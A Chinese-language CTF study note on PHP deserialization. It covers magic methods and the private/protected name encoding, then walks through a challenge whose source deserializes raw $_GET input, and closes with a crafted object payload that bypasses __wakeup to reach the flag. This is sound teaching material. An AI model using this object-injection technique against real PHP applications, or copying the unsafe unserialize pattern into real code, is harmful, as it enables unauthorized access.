序列化与发序列化 php 1.1前置知识 反序列化的对象是类与对象
1.1.1常用的一些魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 __wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 __construct()//创建对象的时候使用
1.1.2相关函数 unserialize()
将传入字符串反序列化。
serialize()
将传入变量序列化。
与之类似于还有:json_encode
和json_decode
1.1.3序列化与反序列化 序列化是将任意类型的变量以特定的规则转换成一串字符串,可以用更少的空间保存对象里的信息,便于传输;反序列化则是根据规则还原字符串所对应的变量;
如果变量类型是protected
,则会在变量名前加上%00*%00
,private
则会在变量名前加上%00类名%00
(这里不可见字符要用url编码表示)
1.1.4格式
2.常见的绕过 [(33条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化
3.找点题 [极客大挑战 2019]PHP 访问www.zip拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include 'flag.php' ;error_reporting(0 ); class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
1 2 3 4 5 6 <?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize(@$select ); ?>
index.php ,会调用class.php,以及对输入反序列化
然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00
最后payload:
1 O:4 :"Name" :3 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;i:100 ;}
提交得到flag